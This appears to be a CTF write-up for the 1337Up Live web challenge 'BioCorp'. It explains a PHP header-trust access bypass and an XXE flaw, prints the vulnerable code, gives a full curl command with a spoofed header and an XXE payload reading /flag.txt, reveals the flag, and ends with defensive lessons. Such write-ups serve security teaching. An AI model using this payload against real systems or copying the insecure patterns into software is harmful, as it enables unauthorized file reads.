Post

1337Up Live CTF web/BioCorp

My solution for 1337Up Live CTF web/BioCorp challenge

Challenge overview

BioCorp

The challenge involves a PHP web application for a fictional company called BioCorp that manages nuclear reactor controls. The key vulnerability is found in panel.php, which has two security issues:

  • IP-based access control that can be bypassed using a custom HTTP header
  • XXE (XML External Entity) vulnerability in XML processing

Application structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app
├── about.php
├── assets
│   ├── css
│   │   └── style.css
│   ├── images
│   │   ├── *.png
│   └── js
│       └── main.js
├── contact.php
├── data
│   └── reactor_data.xml
├── footer.php
├── header.php
├── index.php
├── panel.php
└── services.php

Analysis

IP restriction bypass

The application checks for authorized access using this code:

1
2
3
4
5
6
7
$ip_address = $_SERVER['HTTP_X_BIOCORP_VPN'] ?? $_SERVER['REMOTE_ADDR'];

if ($ip_address !== '80.187.61.102') {
    echo "<h1>Access Denied</h1>";
    echo "<p>You do not have permission to access this page.</p>";
    exit;
}

The code first checks for a custom header X-BIOCORP_VPN before falling back to REMOTE_ADDR. This allows bypassing the IP restriction by simply setting the custom header.

XXE vulnerability

The application processes XML input without disabling external entities:

1
2
3
4
5
6
7
8
if ($_SERVER['REQUEST_METHOD'] === 'POST' && strpos($_SERVER['CONTENT_TYPE'], 'application/xml') !== false) {
    $xml_data = file_get_contents('php://input');
    $doc = new DOMDocument();
    if (!$doc->loadXML($xml_data, LIBXML_NOENT)) {
        echo "<h1>Invalid XML</h1>";
        exit;
    }
}

The LIBXML_NOENT flag actually enables external entity processing, and from the Dockerfile we can see that the flag is stored at /flag.txt:

1
2
COPY flag.txt /flag.txt
RUN chmod 444 /flag.txt && chown root:root /flag.txt

Exploitation

The successful exploit combines both vulnerabilities:

  • Use the X-BioCorp-VPN header to bypass IP restriction
  • Submit a POST request with XML content that includes an XXE payload to read /flag.txt

The exact curl command used was:

1
curl -X POST -H "X-BioCorp-VPN: 80.187.61.102" -H "Content-Type: application/xml" --data '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY flag SYSTEM "file:///flag.txt">]><reactor><temperature>&flag;</temperature><pressure>1000</pressure><control_rods>inserted</control_rods></reactor>' https://biocorp.ctf.intigriti.io/panel.php

Breaking down the XXE payload:

  • Declares an external entity flag that reads /flag.txt
  • Uses the entity in the temperature field of the reactor XML
  • The application then displays the flag value when rendering the temperature

Flag:
INTIGRITI{c4r3ful_w17h_7h053_c0n7r0l5_0r_7h3r3_w1ll_b3_4_m3l7d0wn}

Conclusion

The BioCorp challenge demonstrates a classic combination of IP restriction bypass and XXE vulnerabilities. By exploiting the application’s trust in custom HTTP headers and insecure XML parsing configuration, an attacker could easily bypass access controls and read sensitive server files. This emphasizes the importance of never trusting client-provided headers for authentication and properly configuring XML parsers to disable external entity processing by default.

Key takeaways

  1. Don’t rely on HTTP headers for authentication/authorization as they can be easily spoofed
  2. Disable XML external entity processing when handling XML input
  3. Follow the principle of least privilege - the application shouldn’t have access to read sensitive files
This post is licensed under CC BY 4.0 by the author.